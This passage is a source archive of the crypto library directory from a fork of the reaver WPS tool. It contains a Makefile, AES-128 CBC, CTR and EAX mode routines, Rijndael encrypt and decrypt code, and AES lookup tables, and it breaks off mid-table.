reaver-wps-fork-t6x-1.6.6/src/crypto/000077500000000000000000000000001363372615500174175ustar00rootroot00000000000000reaver-wps-fork-t6x-1.6.6/src/crypto/Makefile000077500000000000000000000017011363372615500210610ustar00rootroot00000000000000all: libcrypto.a clean: rm -f *~ *.o *.d libcrypto.a install: @echo Nothing to be made. include ../common/lib.rules CFLAGS += -DCONFIG_TLS_INTERNAL_CLIENT CFLAGS += -DCONFIG_TLS_INTERNAL_SERVER CFLAGS += -fno-strict-aliasing #CFLAGS += -DALL_DH_GROUPS LIB_OBJS= \ aes-cbc.o \ aes-ctr.o \ aes-eax.o \ aes-encblock.o \ aes-internal.o \ aes-internal-dec.o \ aes-internal-enc.o \ aes-omac1.o \ aes-unwrap.o \ aes-wrap.o \ des-internal.o \ dh_group5.o \ dh_groups.o \ md4-internal.o \ md5.o \ md5-internal.o \ md5-non-fips.o \ milenage.o \ ms_funcs.o \ rc4.o \ sha1.o \ sha1-internal.o \ sha1-pbkdf2.o \ sha1-tlsprf.o \ sha1-tprf.o \ sha256.o \ sha256-internal.o LIB_OBJS += crypto_internal.o LIB_OBJS += crypto_internal-cipher.o LIB_OBJS += crypto_internal-modexp.o LIB_OBJS += crypto_internal-rsa.o LIB_OBJS += tls_internal.o LIB_OBJS += fips_prf_internal.o libcrypto.a: $(LIB_OBJS) $(AR) crT $@ $? -include $(OBJS:%.o=%.d) reaver-wps-fork-t6x-1.6.6/src/crypto/aes-cbc.c000077500000000000000000000041171363372615500210660ustar00rootroot00000000000000/* * AES-128 CBC * * Copyright (c) 2003-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "aes.h" #include "aes_wrap.h" /** * aes_128_cbc_encrypt - AES-128 CBC encryption * @key: Encryption key * @iv: Encryption IV for CBC mode (16 bytes) * @data: Data to encrypt in-place * @data_len: Length of data in bytes (must be divisible by 16) * Returns: 0 on success, -1 on failure */ int aes_128_cbc_encrypt(const u8 *key, const u8 *iv, u8 *data, size_t data_len) { void *ctx; u8 cbc[AES_BLOCK_SIZE]; u8 *pos = data; int i, j, blocks; ctx = aes_encrypt_init(key, 16); if (ctx == NULL) return -1; os_memcpy(cbc, iv, AES_BLOCK_SIZE); blocks = data_len / AES_BLOCK_SIZE; for (i = 0; i < blocks; i++) { for (j = 0; j < AES_BLOCK_SIZE; j++) cbc[j] ^= pos[j]; aes_encrypt(ctx, cbc, cbc); os_memcpy(pos, cbc, AES_BLOCK_SIZE); pos += AES_BLOCK_SIZE; } aes_encrypt_deinit(ctx); return 0; } /** * aes_128_cbc_decrypt - AES-128 CBC decryption * @key: Decryption key * @iv: Decryption IV for CBC mode (16 bytes) * @data: Data to decrypt in-place * @data_len: Length of data in bytes (must be divisible by 16) * Returns: 0 on success, -1 on failure */ int aes_128_cbc_decrypt(const u8 *key, const u8 *iv, u8 *data, size_t data_len) { void *ctx; u8 cbc[AES_BLOCK_SIZE], tmp[AES_BLOCK_SIZE]; u8 *pos = data; int i, j, blocks; ctx = aes_decrypt_init(key, 16); if (ctx == NULL) return -1; os_memcpy(cbc, iv, AES_BLOCK_SIZE); blocks = data_len / AES_BLOCK_SIZE; for (i = 0; i < blocks; i++) { os_memcpy(tmp, pos, AES_BLOCK_SIZE); aes_decrypt(ctx, pos, pos); for (j = 0; j < AES_BLOCK_SIZE; j++) pos[j] ^= cbc[j]; os_memcpy(cbc, tmp, AES_BLOCK_SIZE); pos += AES_BLOCK_SIZE; } aes_decrypt_deinit(ctx); return 0; } reaver-wps-fork-t6x-1.6.6/src/crypto/aes-ctr.c000077500000000000000000000025621363372615500211310ustar00rootroot00000000000000/* * AES-128 CTR * * Copyright (c) 2003-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "aes.h" #include "aes_wrap.h" /** * aes_128_ctr_encrypt - AES-128 CTR mode encryption * @key: Key for encryption (16 bytes) * @nonce: Nonce for counter mode (16 bytes) * @data: Data to encrypt in-place * @data_len: Length of data in bytes * Returns: 0 on success, -1 on failure */ int aes_128_ctr_encrypt(const u8 *key, const u8 *nonce, u8 *data, size_t data_len) { void *ctx; size_t j, len, left = data_len; int i; u8 *pos = data; u8 counter[AES_BLOCK_SIZE], buf[AES_BLOCK_SIZE]; ctx = aes_encrypt_init(key, 16); if (ctx == NULL) return -1; os_memcpy(counter, nonce, AES_BLOCK_SIZE); while (left > 0) { aes_encrypt(ctx, counter, buf); len = (left < AES_BLOCK_SIZE) ? left : AES_BLOCK_SIZE; for (j = 0; j < len; j++) pos[j] ^= buf[j]; pos += len; left -= len; for (i = AES_BLOCK_SIZE - 1; i >= 0; i--) { counter[i]++; if (counter[i]) break; } } aes_encrypt_deinit(ctx); return 0; } reaver-wps-fork-t6x-1.6.6/src/crypto/aes-eax.c000077500000000000000000000067031363372615500211170ustar00rootroot00000000000000/* * AES-128 EAX * * Copyright (c) 2003-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "aes.h" #include "aes_wrap.h" /** * aes_128_eax_encrypt - AES-128 EAX mode encryption * @key: Key for encryption (16 bytes) * @nonce: Nonce for counter mode * @nonce_len: Nonce length in bytes * @hdr: Header data to be authenticity protected * @hdr_len: Length of the header data bytes * @data: Data to encrypt in-place * @data_len: Length of data in bytes * @tag: 16-byte tag value * Returns: 0 on success, -1 on failure */ int aes_128_eax_encrypt(const u8 *key, const u8 *nonce, size_t nonce_len, const u8 *hdr, size_t hdr_len, u8 *data, size_t data_len, u8 *tag) { u8 *buf; size_t buf_len; u8 nonce_mac[AES_BLOCK_SIZE], hdr_mac[AES_BLOCK_SIZE], data_mac[AES_BLOCK_SIZE]; int i, ret = -1; if (nonce_len > data_len) buf_len = nonce_len; else buf_len = data_len; if (hdr_len > buf_len) buf_len = hdr_len; buf_len += 16; buf = os_malloc(buf_len); if (buf == NULL) return -1; os_memset(buf, 0, 15); buf[15] = 0; os_memcpy(buf + 16, nonce, nonce_len); if (omac1_aes_128(key, buf, 16 + nonce_len, nonce_mac)) goto fail; buf[15] = 1; os_memcpy(buf + 16, hdr, hdr_len); if (omac1_aes_128(key, buf, 16 + hdr_len, hdr_mac)) goto fail; if (aes_128_ctr_encrypt(key, nonce_mac, data, data_len)) goto fail; buf[15] = 2; os_memcpy(buf + 16, data, data_len); if (omac1_aes_128(key, buf, 16 + data_len, data_mac)) goto fail; for (i = 0; i < AES_BLOCK_SIZE; i++) tag[i] = nonce_mac[i] ^ data_mac[i] ^ hdr_mac[i]; ret = 0; fail: os_free(buf); return ret; } /** * aes_128_eax_decrypt - AES-128 EAX mode decryption * @key: Key for decryption (16 bytes) * @nonce: Nonce for counter mode * @nonce_len: Nonce length in bytes * @hdr: Header data to be authenticity protected * @hdr_len: Length of the header data bytes * @data: Data to encrypt in-place * @data_len: Length of data in bytes * @tag: 16-byte tag value * Returns: 0 on success, -1 on failure, -2 if tag does not match */ int aes_128_eax_decrypt(const u8 *key, const u8 *nonce, size_t nonce_len, const u8 *hdr, size_t hdr_len, u8 *data, size_t data_len, const u8 *tag) { u8 *buf; size_t buf_len; u8 nonce_mac[AES_BLOCK_SIZE], hdr_mac[AES_BLOCK_SIZE], data_mac[AES_BLOCK_SIZE]; int i; if (nonce_len > data_len) buf_len = nonce_len; else buf_len = data_len; if (hdr_len > buf_len) buf_len = hdr_len; buf_len += 16; buf = os_malloc(buf_len); if (buf == NULL) return -1; os_memset(buf, 0, 15); buf[15] = 0; os_memcpy(buf + 16, nonce, nonce_len); if (omac1_aes_128(key, buf, 16 + nonce_len, nonce_mac)) { os_free(buf); return -1; } buf[15] = 1; os_memcpy(buf + 16, hdr, hdr_len); if (omac1_aes_128(key, buf, 16 + hdr_len, hdr_mac)) { os_free(buf); return -1; } buf[15] = 2; os_memcpy(buf + 16, data, data_len); if (omac1_aes_128(key, buf, 16 + data_len, data_mac)) { os_free(buf); return -1; } os_free(buf); for (i = 0; i < AES_BLOCK_SIZE; i++) { if (tag[i] != (nonce_mac[i] ^ data_mac[i] ^ hdr_mac[i])) return -2; } return aes_128_ctr_encrypt(key, nonce_mac, data, data_len); } reaver-wps-fork-t6x-1.6.6/src/crypto/aes-encblock.c000077500000000000000000000016331363372615500221170ustar00rootroot00000000000000/* * AES encrypt_block * * Copyright (c) 2003-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "aes.h" #include "aes_wrap.h" /** * aes_128_encrypt_block - Perform one AES 128-bit block operation * @key: Key for AES * @in: Input data (16 bytes) * @out: Output of the AES block operation (16 bytes) * Returns: 0 on success, -1 on failure */ int aes_128_encrypt_block(const u8 *key, const u8 *in, u8 *out) { void *ctx; ctx = aes_encrypt_init(key, 16); if (ctx == NULL) return -1; aes_encrypt(ctx, in, out); aes_encrypt_deinit(ctx); return 0; } reaver-wps-fork-t6x-1.6.6/src/crypto/aes-internal-dec.c000077500000000000000000000071511363372615500227050ustar00rootroot00000000000000/* * AES (Rijndael) cipher - decrypt * * Modifications to public domain implementation: * - support only 128-bit keys * - cleanup * - use C pre-processor to make it easier to change S table access * - added option (AES_SMALL_TABLES) for reducing code size by about 8 kB at * cost of reduced throughput (quite small difference on Pentium 4, * 10-25% when using -O1 or -O2 optimization) * * Copyright (c) 2003-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto.h" #include "aes_i.h" /** * Expand the cipher key into the decryption key schedule. * * @return the number of rounds for the given cipher key size. */ void rijndaelKeySetupDec(u32 rk[/*44*/], const u8 cipherKey[]) { int Nr = 10, i, j; u32 temp; /* expand the cipher key: */ rijndaelKeySetupEnc(rk, cipherKey); /* invert the order of the round keys: */ for (i = 0, j = 4*Nr; i < j; i += 4, j -= 4) { temp = rk[i ]; rk[i ] = rk[j ]; rk[j ] = temp; temp = rk[i + 1]; rk[i + 1] = rk[j + 1]; rk[j + 1] = temp; temp = rk[i + 2]; rk[i + 2] = rk[j + 2]; rk[j + 2] = temp; temp = rk[i + 3]; rk[i + 3] = rk[j + 3]; rk[j + 3] = temp; } /* apply the inverse MixColumn transform to all round keys but the * first and the last: */ for (i = 1; i < Nr; i++) { rk += 4; for (j = 0; j < 4; j++) { rk[j] = TD0_(TE4((rk[j] >> 24) )) ^ TD1_(TE4((rk[j] >> 16) & 0xff)) ^ TD2_(TE4((rk[j] >> 8) & 0xff)) ^ TD3_(TE4((rk[j] ) & 0xff)); } } } void * aes_decrypt_init(const u8 *key, size_t len) { u32 *rk; if (len != 16) return NULL; rk = os_malloc(AES_PRIV_SIZE); if (rk == NULL) return NULL; rijndaelKeySetupDec(rk, key); return rk; } static void rijndaelDecrypt(const u32 rk[/*44*/], const u8 ct[16], u8 pt[16]) { u32 s0, s1, s2, s3, t0, t1, t2, t3; const int Nr = 10; #ifndef FULL_UNROLL int r; #endif /* ?FULL_UNROLL */ /* * map byte array block to cipher state * and add initial round key: */ s0 = GETU32(ct ) ^ rk[0]; s1 = GETU32(ct + 4) ^ rk[1]; s2 = GETU32(ct + 8) ^ rk[2]; s3 = GETU32(ct + 12) ^ rk[3]; #define ROUND(i,d,s) \ d##0 = TD0(s##0) ^ TD1(s##3) ^ TD2(s##2) ^ TD3(s##1) ^ rk[4 * i]; \ d##1 = TD0(s##1) ^ TD1(s##0) ^ TD2(s##3) ^ TD3(s##2) ^ rk[4 * i + 1]; \ d##2 = TD0(s##2) ^ TD1(s##1) ^ TD2(s##0) ^ TD3(s##3) ^ rk[4 * i + 2]; \ d##3 = TD0(s##3) ^ TD1(s##2) ^ TD2(s##1) ^ TD3(s##0) ^ rk[4 * i + 3] #ifdef FULL_UNROLL ROUND(1,t,s); ROUND(2,s,t); ROUND(3,t,s); ROUND(4,s,t); ROUND(5,t,s); ROUND(6,s,t); ROUND(7,t,s); ROUND(8,s,t); ROUND(9,t,s); rk += Nr << 2; #else /* !FULL_UNROLL */ /* Nr - 1 full rounds: */ r = Nr >> 1; for (;;) { ROUND(1,t,s); rk += 8; if (--r == 0) break; ROUND(0,s,t); } #endif /* ?FULL_UNROLL */ #undef ROUND /* * apply last round and * map cipher state to byte array block: */ s0 = TD41(t0) ^ TD42(t3) ^ TD43(t2) ^ TD44(t1) ^ rk[0]; PUTU32(pt , s0); s1 = TD41(t1) ^ TD42(t0) ^ TD43(t3) ^ TD44(t2) ^ rk[1]; PUTU32(pt + 4, s1); s2 = TD41(t2) ^ TD42(t1) ^ TD43(t0) ^ TD44(t3) ^ rk[2]; PUTU32(pt + 8, s2); s3 = TD41(t3) ^ TD42(t2) ^ TD43(t1) ^ TD44(t0) ^ rk[3]; PUTU32(pt + 12, s3); } void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain) { rijndaelDecrypt(ctx, crypt, plain); } void aes_decrypt_deinit(void *ctx) { os_memset(ctx, 0, AES_PRIV_SIZE); os_free(ctx); } reaver-wps-fork-t6x-1.6.6/src/crypto/aes-internal-enc.c000077500000000000000000000052371363372615500227220ustar00rootroot00000000000000/* * AES (Rijndael) cipher - encrypt * * Modifications to public domain implementation: * - support only 128-bit keys * - cleanup * - use C pre-processor to make it easier to change S table access * - added option (AES_SMALL_TABLES) for reducing code size by about 8 kB at * cost of reduced throughput (quite small difference on Pentium 4, * 10-25% when using -O1 or -O2 optimization) * * Copyright (c) 2003-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto.h" #include "aes_i.h" void rijndaelEncrypt(const u32 rk[/*44*/], const u8 pt[16], u8 ct[16]) { u32 s0, s1, s2, s3, t0, t1, t2, t3; const int Nr = 10; #ifndef FULL_UNROLL int r; #endif /* ?FULL_UNROLL */ /* * map byte array block to cipher state * and add initial round key: */ s0 = GETU32(pt ) ^ rk[0]; s1 = GETU32(pt + 4) ^ rk[1]; s2 = GETU32(pt + 8) ^ rk[2]; s3 = GETU32(pt + 12) ^ rk[3]; #define ROUND(i,d,s) \ d##0 = TE0(s##0) ^ TE1(s##1) ^ TE2(s##2) ^ TE3(s##3) ^ rk[4 * i]; \ d##1 = TE0(s##1) ^ TE1(s##2) ^ TE2(s##3) ^ TE3(s##0) ^ rk[4 * i + 1]; \ d##2 = TE0(s##2) ^ TE1(s##3) ^ TE2(s##0) ^ TE3(s##1) ^ rk[4 * i + 2]; \ d##3 = TE0(s##3) ^ TE1(s##0) ^ TE2(s##1) ^ TE3(s##2) ^ rk[4 * i + 3] #ifdef FULL_UNROLL ROUND(1,t,s); ROUND(2,s,t); ROUND(3,t,s); ROUND(4,s,t); ROUND(5,t,s); ROUND(6,s,t); ROUND(7,t,s); ROUND(8,s,t); ROUND(9,t,s); rk += Nr << 2; #else /* !FULL_UNROLL */ /* Nr - 1 full rounds: */ r = Nr >> 1; for (;;) { ROUND(1,t,s); rk += 8; if (--r == 0) break; ROUND(0,s,t); } #endif /* ?FULL_UNROLL */ #undef ROUND /* * apply last round and * map cipher state to byte array block: */ s0 = TE41(t0) ^ TE42(t1) ^ TE43(t2) ^ TE44(t3) ^ rk[0]; PUTU32(ct , s0); s1 = TE41(t1) ^ TE42(t2) ^ TE43(t3) ^ TE44(t0) ^ rk[1]; PUTU32(ct + 4, s1); s2 = TE41(t2) ^ TE42(t3) ^ TE43(t0) ^ TE44(t1) ^ rk[2]; PUTU32(ct + 8, s2); s3 = TE41(t3) ^ TE42(t0) ^ TE43(t1) ^ TE44(t2) ^ rk[3]; PUTU32(ct + 12, s3); } void * aes_encrypt_init(const u8 *key, size_t len) { u32 *rk; if (len != 16) return NULL; rk = os_malloc(AES_PRIV_SIZE); if (rk == NULL) return NULL; rijndaelKeySetupEnc(rk, key); return rk; } void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt) { rijndaelEncrypt(ctx, plain, crypt); } void aes_encrypt_deinit(void *ctx) { os_memset(ctx, 0, AES_PRIV_SIZE); os_free(ctx); } reaver-wps-fork-t6x-1.6.6/src/crypto/aes-internal.c000077500000000000000000001207661363372615500221640ustar00rootroot00000000000000/* * AES (Rijndael) cipher * * Modifications to public domain implementation: * - support only 128-bit keys * - cleanup * - use C pre-processor to make it easier to change S table access * - added option (AES_SMALL_TABLES) for reducing code size by about 8 kB at * cost of reduced throughput (quite small difference on Pentium 4, * 10-25% when using -O1 or -O2 optimization) * * Copyright (c) 2003-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto.h" #include "aes_i.h" /* * rijndael-alg-fst.c * * @version 3.0 (December 2000) * * Optimised ANSI C code for the Rijndael cipher (now AES) * * @author Vincent Rijmen * @author Antoon Bosselaers * @author Paulo Barreto * * This code is hereby placed in the public domain. * * THIS SOFTWARE IS PROVIDED BY THE AUTHORS ''AS IS'' AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR * BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE * OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* Te0[x] = S [x].[02, 01, 01, 03]; Te1[x] = S [x].[03, 02, 01, 01]; Te2[x] = S [x].[01, 03, 02, 01]; Te3[x] = S [x].[01, 01, 03, 02]; Te4[x] = S [x].[01, 01, 01, 01]; Td0[x] = Si[x].[0e, 09, 0d, 0b]; Td1[x] = Si[x].[0b, 0e, 09, 0d]; Td2[x] = Si[x].[0d, 0b, 0e, 09]; Td3[x] = Si[x].[09, 0d, 0b, 0e]; Td4[x] = Si[x].[01, 01, 01, 01]; */ const u32 Te0[256] = { 0xc66363a5U, 0xf87c7c84U, 0xee777799U, 0xf67b7b8dU, 0xfff2f20dU, 0xd66b6bbdU, 0xde6f6fb1U, 0x91c5c554U, 0x60303050U, 0x02010103U, 0xce6767a9U, 0x562b2b7dU, 0xe7fefe19U, 0xb5d7d762U, 0x4dababe6U, 0xec76769aU, 0x8fcaca45U, 0x1f82829dU, 0x89c9c940U, 0xfa7d7d87U, 0xeffafa15U, 0xb25959ebU, 0x8e4747c9U, 0xfbf0f00bU, 0x41adadecU, 0xb3d4d467U, 0x5fa2a2fdU, 0x45afafeaU, 0x239c9cbfU, 0x53a4a4f7U, 0xe4727296U, 0x9bc0c05bU, 0x75b7b7c2U, 0xe1fdfd1cU, 0x3d9393aeU, 0x4c26266aU, 0x6c36365aU, 0x7e3f3f41U, 0xf5f7f702U, 0x83cccc4fU, 0x6834345cU, 0x51a5a5f4U, 0xd1e5e534U, 0xf9f1f108U, 0xe2717193U, 0xabd8d873U, 0x62313153U, 0x2a15153fU, 0x0804040cU, 0x95c7c752U, 0x46232365U, 0x9dc3c35eU, 0x30181828U, 0x379696a1U, 0x0a05050fU, 0x2f9a9ab5U, 0x0e070709U, 0x24121236U, 0x1b80809bU, 0xdfe2e23dU, 0xcdebeb26U, 0x4e272769U, 0x7fb2b2cdU, 0xea75759fU, 0x1209091bU, 0x1d83839eU, 0x582c2c74U, 0x341a1a2eU, 0x361b1b2dU, 0xdc6e6eb2U, 0xb45a5aeeU, 0x5ba0a0fbU, 0xa45252f6U, 0x763b3b4dU, 0xb7d6d661U, 0x7db3b3ceU, 0x5229297bU, 0xdde3e33eU, 0x5e2f2f71U, 0x13848497U, 0xa65353f5U, 0xb9d1d168U, 0x00000000U, 0xc1eded2cU, 0x40202060U, 0xe3fcfc1fU, 0x79b1b1c8U, 0xb65b5bedU, 0xd46a6abeU, 0x8dcbcb46U, 0x67bebed9U, 0x7239394bU, 0x944a4adeU, 0x984c4cd4U, 0xb05858e8U, 0x85cfcf4aU, 0xbbd0d06bU, 0xc5efef2aU, 0x4faaaae5U, 0xedfbfb16U, 0x864343c5U, 0x9a4d4dd7U, 0x66333355U, 0x11858594U, 0x8a4545cfU, 0xe9f9f910U, 0x04020206U, 0xfe7f7f81U, 0xa05050f0U, 0x783c3c44U, 0x259f9fbaU, 0x4ba8a8e3U, 0xa25151f3U, 0x5da3a3feU, 0x804040c0U, 0x058f8f8aU, 0x3f9292adU, 0x219d9dbcU, 0x70383848U, 0xf1f5f504U, 0x63bcbcdfU, 0x77b6b6c1U, 0xafdada75U, 0x42212163U, 0x20101030U, 0xe5ffff1aU, 0xfdf3f30eU, 0xbfd2d26dU, 0x81cdcd4cU, 0x180c0c14U, 0x26131335U, 0xc3ecec2fU, 0xbe5f5fe1U, 0x359797a2U, 0x884444ccU, 0x2e171739U, 0x93c4c457U, 0x55a7a7f2U, 0xfc7e7e82U, 0x7a3d3d47U, 0xc86464acU, 0xba5d5de7U, 0x3219192bU, 0xe6737395U, 0xc06060a0U, 0x19818198U, 0x9e4f4fd1U, 0xa3dcdc7fU, 0x44222266U, 0x542a2a7eU, 0x3b9090abU, 0x0b888883U, 0x8c4646caU, 0xc7eeee29U, 0x6bb8b8d3U, 0x2814143cU, 0xa7dede79U, 0xbc5e5ee2U, 0x160b0b1dU, 0xaddbdb76U, 0xdbe0e03bU, 0x64323256U, 0x743a3a4eU, 0x140a0a1eU, 0x924949dbU, 0x0c06060aU, 0x4824246cU, 0xb85c5ce4U, 0x9fc2c25dU, 0xbdd3d36eU, 0x43acacefU, 0xc46262a6U, 0x399191a8U, 0x319595a4U, 0xd3e4e437U, 0xf279798bU, 0xd5e7e732U, 0x8bc8c843U, 0x6e373759U, 0xda6d6db7U, 0x018d8d8cU, 0xb1d5d564U, 0x9c4e4ed2U, 0x49a9a9e0U, 0xd86c6cb4U, 0xac5656faU, 0xf3f4f407U, 0xcfeaea25U, 0xca6565afU, 0xf47a7a8eU, 0x47aeaee9U, 0x10080818U, 0x6fbabad5U, 0xf0787888U, 0x4a25256fU, 0x5c2e2e72U, 0x381c1c24U, 0x57a6a6f1U, 0x73b4b4c7U, 0x97c6c651U, 0xcbe8e823U, 0xa1dddd7cU, 0xe874749cU, 0x3e1f1f21U, 0x964b4bddU, 0x61bdbddcU, 0x0d8b8b86U, 0x0f8a8a85U, 0xe0707090U, 0x7c3e3e42U, 0x71b5b5c4U, 0xcc6666aaU, 0x904848d8U, 0x06030305U, 0xf7f6f601U, 0x1c0e0e12U, 0xc26161a3U, 0x6a35355fU, 0xae5757f9U, 0x69b9b9d0U, 0x17868691U, 0x99c1c158U, 0x3a1d1d27U, 0x279e9eb9U, 0xd9e1e138U, 0xebf8f813U, 0x2b9898b3U, 0x22111133U, 0xd26969bbU, 0xa9d9d970U, 0x078e8e89U, 0x339494a7U, 0x2d9b9bb6U, 0x3c1e1e22U, 0x15878792U, 0xc9e9e920U, 0x87cece49U, 0xaa5555ffU, 0x50282878U, 0xa5dfdf7aU, 0x038c8c8fU, 0x59a1a1f8U, 0x09898980U, 0x1a0d0d17U, 0x65bfbfdaU, 0xd7e6e631U, 0x844242c6U, 0xd06868b8U, 0x824141c3U, 0x299999b0U, 0x5a2d2d77U, 0x1e0f0f11U, 0x7bb0b0cbU, 0xa85454fcU, 0x6dbbbbd6U, 0x2c16163aU, }; #ifndef AES_SMALL_TABLES const u32 Te1[256] = { 0xa5c66363U, 0x84f87c7cU, 0x99ee7777U, 0x8df67b7bU, 0x0dfff2f2U, 0xbdd66b6bU, 0xb1de6f6fU, 0x5491c5c5U, 0x50603030U, 0x03020101U, 0xa9ce6767U, 0x7d562b2bU, 0x19e7fefeU, 0x62b5d7d7U, 0xe64dababU, 0x9aec7676U, 0x458fcacaU, 0x9d1f8282U, 0x4089c9c9U, 0x87fa7d7dU, 0x15effafaU, 0xebb25959U, 0xc98e4747U, 0x0bfbf0f0U, 0xec41adadU, 0x67b3d4d4U, 0xfd5fa2a2U, 0xea45afafU, 0xbf239c9cU, 0xf753a4a4U, 0x96e47272U, 0x5b9bc0c0U, 0xc275b7b7U, 0x1ce1fdfdU, 0xae3d9393U, 0x6a4c2626U, 0x5a6c3636U, 0x417e3f3fU, 0x02f5f7f7U, 0x4f83ccccU, 0x5c683434U, 0xf451a5a5U, 0x34d1e5e5U, 0x08f9f1f1U, 0x93e27171U, 0x73abd8d8U, 0x53623131U, 0x3f2a1515U, 0x0c080404U, 0x5295c7c7U, 0x65462323U, 0x5e9dc3c3U, 0x28301818U, 0xa1379696U, 0x0f0a0505U, 0xb52f9a9aU, 0x090e0707U, 0x36241212U, 0x9b1b8080U, 0x3ddfe2e2U, 0x26cdebebU, 0x694e2727U, 0xcd7fb2b2U, 0x9fea7575U, 0x1b120909U, 0x9e1d8383U, 0x74582c2cU, 0x2e341a1aU, 0x2d361b1bU, 0xb2dc6e6eU, 0xeeb45a5aU, 0xfb5ba0a0U, 0xf6a45252U, 0x4d763b3bU, 0x61b7d6d6U, 0xce7db3b3U, 0x7b522929U, 0x3edde3e3U, 0x715e2f2fU, 0x97138484U, 0xf5a65353U, 0x68b9d1d1U, 0x00000000U, 0x2cc1ededU, 0x60402020U, 0x1fe3fcfcU, 0xc879b1b1U, 0xedb65b5bU, 0xbed46a6aU, 0x468dcbcbU, 0xd967bebeU, 0x4b723939U, 0xde944a4aU, 0xd4984c4cU, 0xe8b05858U, 0x4a85cfcfU, 0x6bbbd0d0U, 0x2ac5efefU, 0xe54faaaaU, 0x16edfbfbU, 0xc5864343U, 0xd79a4d4dU, 0x55663333U, 0x94118585U, 0xcf8a4545U, 0x10e9f9f9U, 0x06040202U, 0x81fe7f7fU, 0xf0a05050U, 0x44783c3cU, 0xba259f9fU, 0xe34ba8a8U, 0xf3a25151U, 0xfe5da3a3U, 0xc0804040U, 0x8a058f8fU, 0xad3f9292U, 0xbc219d9dU, 0x48703838U, 0x04f1f5f5U, 0xdf63bcbcU, 0xc177b6b6U, 0x75afdadaU, 0x63422121U, 0x30201010U, 0x1ae5ffffU, 0x0efdf3f3U, 0x6dbfd2d2U, 0x4c81cdcdU, 0x14180c0cU, 0x35261313U, 0x2fc3ececU, 0xe1be5f5fU, 0xa2359797U, 0xcc884444U, 0x392e1717U, 0x5793c4c4U, 0xf255a7a7U, 0x82fc7e7eU, 0x477a3d3dU, 0xacc86464U, 0xe7ba5d5dU, 0x2b321919U, 0x95e67373U, 0xa0c06060U, 0x98198181U, 0xd19e4f4fU, 0x7fa3dcdcU, 0x66442222U, 0x7e542a2aU, 0xab3b9090U, 0x830b8888U, 0xca8c4646U, 0x29c7eeeeU, 0xd36bb8b8U, 0x3c281414U, 0x79a7dedeU, 0xe2bc5e5eU, 0x1d160b0bU, 0x76addbdbU, 0x3bdbe0e0U, 0x56643232U, 0x4e743a3aU, 0x1e140a0aU, 0xdb924949U, 0x0a0c0606U, 0x6c482424U, 0xe4b85c5cU, 0x5d9fc2c2U, 0x6ebdd3d3U, 0xef43acacU, 0xa6c46262U, 0xa8399191U, 0xa4319595U, 0x37d3e4e4U, 0x8bf27979U, 0x32d5e7e7U, 0x438bc8c8U, 0x596e3737U, 0xb7da6d6dU, 0x8c018d8dU, 0x64b1d5d5U, 0xd29c4e4eU, 0xe049a9a9U, 0xb4d86c6cU, 0xfaac5656U, 0x07f3f4f4U, 0x25cfeaeaU, 0xafca6565U, 0x8ef47a7aU, 0xe947aeaeU, 0x18100808U, 0xd56fbabaU, 0x88f07878U, 0x6f4a2525U, 0x725c2e2eU, 0x24381c1cU, 0xf157a6a6U, 0xc773b4b4U, 0x5197c6c6U, 0x23cbe8e8U, 0x7ca1ddddU, 0x9ce87474U, 0x213e1f1fU, 0xdd964b4bU, 0xdc61bdbdU, 0x860d8b8bU, 0x850f8a8aU, 0x90e07070U, 0x427c3e3eU, 0xc471b5b5U, 0xaacc6666U, 0xd8904848U, 0x05060303U, 0x01f7f6f6U, 0x121c0e0eU, 0xa3c26161U, 0x5f6a3535U, 0xf9ae5757U, 0xd069b9b9U, 0x91178686U, 0x5899c1c1U, 0x273a1d1dU, 0xb9279e9eU, 0x38d9e1e1U, 0x13ebf8f8U, 0xb32b9898U, 0x33221111U, 0xbbd26969U, 0x70a9d9d9U, 0x89078e8eU, 0xa7339494U, 0xb62d9b9bU, 0x223c1e1eU, 0x92158787U, 0x20c9e9e9U, 0x4987ceceU, 0xffaa5555U, 0x78502828U, 0x7aa5dfdfU, 0x8f038c8cU, 0xf859a1a1U, 